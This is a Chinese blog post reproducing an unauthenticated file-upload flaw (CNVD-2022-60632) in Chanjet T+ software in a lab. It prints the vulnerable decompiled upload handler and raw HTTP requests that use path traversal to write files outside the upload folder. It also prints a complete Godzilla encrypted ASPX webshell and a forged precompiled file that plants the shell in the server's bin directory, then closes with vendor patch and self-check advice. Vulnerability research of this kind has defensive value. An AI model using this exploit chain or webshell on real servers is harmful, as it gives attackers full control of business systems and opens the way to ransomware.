• 畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现


    一、漏洞描述

    022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。目前,已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。

    CNVD对该漏洞的综合评级为“高危”。

    二、影响范围

    漏洞影响的产品和版本:
    畅捷通T+单机版<=17.0且使用IIS10.0以下版本。

    三、环境搭建

    https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip

    1. 下载并解压文件

    image-20221012144129181.png

    1. 进行环境检测

    image-20221012144312119.png

    1. 开始检测

    image-20221012144405011.png

    1. 检测通过

    image-20221012144516728.png

    1. 安装

    image-20221012144550907.png

    1. 选择标准版进行安装,安装时请关闭杀毒软件

    image-20221012144712389.png

    1. 等待安装完成,过程中需要配置MSSQL 数据库的。不设置即可

    image-20221012144926299.png

    1. 安装完成

    image-20221012162024082.png

    四、漏洞审计

    根据网上流传的payload,找到文件

    TPlusStd\WebSite\SM\SetupAccount\Upload.aspx

    image-20221012165421740.png
    发现该文件为编译的文件
    畅捷通整套程序用了预编译,直接到根目录的bin下找对应的compiled文件
    image-20221012165948574.png

    TPlusStd\WebSite\bin\uploadapp.aspx.ae7ca9bd.compiled

    image-20221012165932304.png

    
    <preserve resultType="3" virtualPath="/WebSite/App/UploadApp.aspx" hash="16f32931f" filehash="cea02207aaa6fee7" flags="110000" assembly="App_Web_uploadapp.aspx.ae7ca9bd" type="ASP.app_uploadapp_aspx">
        <filedeps>
            <filedep name="/WebSite/App/UploadApp.aspx" />
            <filedep name="/WebSite/App/UploadApp.aspx.cs" />
        filedeps>
    preserve>

    搜索 App_Web_uploadapp.aspx.ae7ca9bd
    image-20221012170303629.png

    // CommonPage_SetupAccount_Upload
    // Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
    protected void Page_Load(object sender, EventArgs e)
    {
    	this.ReadResources();
    	if (base.Request.Files.Count == 1)
    	{
    		string text = "images/index.gif";
    		object obj = this.ViewState["fileName"];
    		if (obj != null)
    		{
    			text = obj.ToString();
    		}
    		if (this.File1.PostedFile.ContentLength > 204800)
    		{
    			base.Response.Write(string.Concat(new string[]
    			{
    				""
    			}));
    			return;
    		}
    		if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
    		{
    			base.Response.Write(string.Concat(new string[]
    			{
    				""
    			}));
    			return;
    		}
    		string fileName = this.File1.PostedFile.FileName;
    		string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
    		this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
    		string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
    		this.ViewState["fileName"] = "images/" + text2;
    		TPContext.Current.Session["ImageName"] = text3;
    	}
    }

    代码大概的意思为。上传的文件不大于2M 然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。

    构造一下上传代码

    POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
    Host: 192.168.154.139
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
    Content-Length: 183
    
    ------WebKitFormBoundarywwk2ReqGTj7lNYlt
    Content-Disposition: form-data; name="File1";filename="222.aspx"
    Content-Type: image/jpeg
    
    1
    ------WebKitFormBoundarywwk2ReqGTj7lNYlt--

    image-20221012171454244.png

    查看images文件中是否有这个文件
    image-20221012171747815.png
    发现能够成功上传

    五、getshell

    用哥斯拉生成一个木马
    image-20221013135802607.png

    然后cmd执行

    C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v /  -p C:\Tools C:\111 -fixednames

    -p 代表的是你木马的目录。 C:\111 表示生成在那个目录中。

    执行完毕后查看C:\111\bin目录
    image-20221013135816088.png

    把666.sapx上传到网站根目录
    image-20221013140329332.png

    POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
    Host: 192.168.154.129
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
    Content-Length: 1327
    
    ------WebKitFormBoundarywwk2ReqGTj7lNYlt
    Content-Disposition: form-data; name="File1";filename="../../../666.aspx"
    Content-Type: image/jpeg
    
    <%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r = outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){}
    %>                                      
    ------WebKitFormBoundarywwk2ReqGTj7lNYlt--

    把这两个文件上传到畅捷通的网站根目录的bin文件夹下
    image-20221013135816088.png
    image-20221013140656105.png

    POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
    Host: 192.168.154.129
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
    Content-Length: 502
    
    ------WebKitFormBoundarywwk2ReqGTj7lNYlt
    Content-Disposition: form-data; name="File1";filename="../../../bin/666.aspx.cdcab7d2.compiled"
    Content-Type: image/jpeg
    
    
    <preserve resultType="3" virtualPath="/666.aspx" hash="88eec7b1a" filehash="ffffcef8fb51b1fb" flags="110000" assembly="App_Web_666.aspx.cdcab7d2" type="ASP._666_aspx">
        <filedeps>
            <filedep name="/666.aspx" />
        filedeps>
    preserve>
    ------WebKitFormBoundarywwk2ReqGTj7lNYlt--

    使用哥斯拉连接shell
    http://192.168.154.129/tplus/666.aspx?preload=1
    image-20221013150351889.png
    连接成功
    image.png

    六、修复建议

    目前,畅捷通公司已紧急发布漏洞补丁修复该漏洞,CNVD建议受影响的单位和用户立即升级至最新版本:
    https://www.chanjetvip.com/product/goods
    同时,请受漏洞影响的单位和用户立即按照以下步骤开展自查和修复工作:
    1、用户自查步骤:
    查询本地是否存在website/bin/load.aspx.cdcab7d2.compiled、website/bin/App_Web_load.aspx.cdcab7d2.dll、tplus/Load.aspx文件,如存在说明已经中毒,须重装系统,并安装产品打补丁。

    2、未中毒用户请:

    1. 更新最新产品补丁。
    2. 安装杀毒软件,并及时升级病毒库。
    3. 升级IIS和Nginx低版本至IIS10.0和Windows 2016。
    4. 本地安装客户需尽快确认备份文件是否完整,以及做了异地备份。云上客户请及时开启镜像功能。
    5. 未能及时更新补丁的用户,可联系畅捷通技术支持,采取删除文件等临时防范措施。

    3、已中毒用户请:

    1. 检查服务器是否有做定期快照或备份,如有可通过快照或备份恢复数据。
    2. 联系畅捷通技术支持,确认是否具备从备份文件恢复数据的条件及操作方法。

    参考链接:https://www.o2oxy.cn/4104.html


    __EOF__

  • 本文作者: Ryan
  • 本文链接: https://www.cnblogs.com/mr-ryan/p/17769602.html
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    十七、k8s-helm-初探
    SpringCloud学习笔记(三)Zookeeper服务注册与发现
    1569. 将子数组重新排序得到同一个二叉查找树的方案数 数学+DFS
    数据挖掘项目(一)
    利用浏览器将Markdown导出为HTML、PDF
    深眸科技自研工业AI视觉检测设备,检测精度99.9%加速智造进程
    vue通知(滚动)
    灵活好用的sql monitoring 脚本 part6
    怎么用JMeter写性能测试脚本
    redis快速回顾
  • 原文地址:https://www.cnblogs.com/mr-ryan/p/17769602.html